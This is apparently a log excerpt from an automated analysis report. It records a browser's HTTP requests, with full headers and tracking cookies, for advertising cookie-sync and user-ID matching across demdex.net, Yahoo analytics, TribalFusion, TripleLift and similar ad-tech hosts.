Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1175&gdpr=0&dpuuid=rBnh2q4Ystq3HrTfrxj70qhItNm3GrLbrRp0Vyrd HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=771&dpuuid=CAESEIv6GK4jHao86K5Dl2BpM8w&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=1583541f-3b09-4660-8f24-5ee8afc5ad60 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=992&dpuuid=12uyav2s7qrz9 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z3FGwQAAAIPC1wOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638
Source: global traffic	HTTP traffic detected: GET /i.match?p=b13&u=81980359511806646913714319239841733483&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1Host: a.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1175&gdpr=0&dpuuid=rBnh2q4Ystq3HrTfrxj70qhItNm3GrLbrRp0Vyrd HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dmp/adobe/user?dd_uuid=81980359511806646913714319239841733483 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1957&dpuuid=36FF432003A167C3345E564402D36635 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=2E914D972AFE82751AB32520679948A5 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528
Source: global traffic	HTTP traffic detected: GET /z/i.match?p=b13&u=81980359511806646913714319239841733483&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1Host: s.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ANON_ID=axnoeUsKBRxFmDqS86KRhBiEjlMTBbkp0YrJmv4s
Source: global traffic	HTTP traffic detected: GET /getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: dmpsync.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: dmpsync.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=1308204673543769676240; tluid=1308204673543769676240
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=3047&dpuuid=62072665D1BB57&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=49276&dpuuid=4751b02c-91a9-44d0-98c8-2ce193718c9d HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=22054 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dv/sync?tid=6 HTTP/1.1Host: ag.innovid.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=72352&dpuuid=1308204673543769676240&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=1583541f-3b09-4660-8f24-5ee8afc5ad60 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1957&dpuuid=36FF432003A167C3345E564402D36635 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=2E914D972AFE82751AB32520679948A5 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=80742&dpuuid=c8fd9785-6050-4726-a9f9-b46a4cd24059 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=53196&dpuuid=Q7887633501042930475 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758
Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent=&uid=81980359511806646913714319239841733483&verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBNlGcWcCEP418rI5LxgkjDowQsO_U2kFEgEBAQGYcmd7Z9xH0iMA_eMAAA&S=AQAAAgTfjOpvEXGWYwlaL17iqbI
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=3047&dpuuid=62072665D1BB57&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758\|144231-1-1735476953501
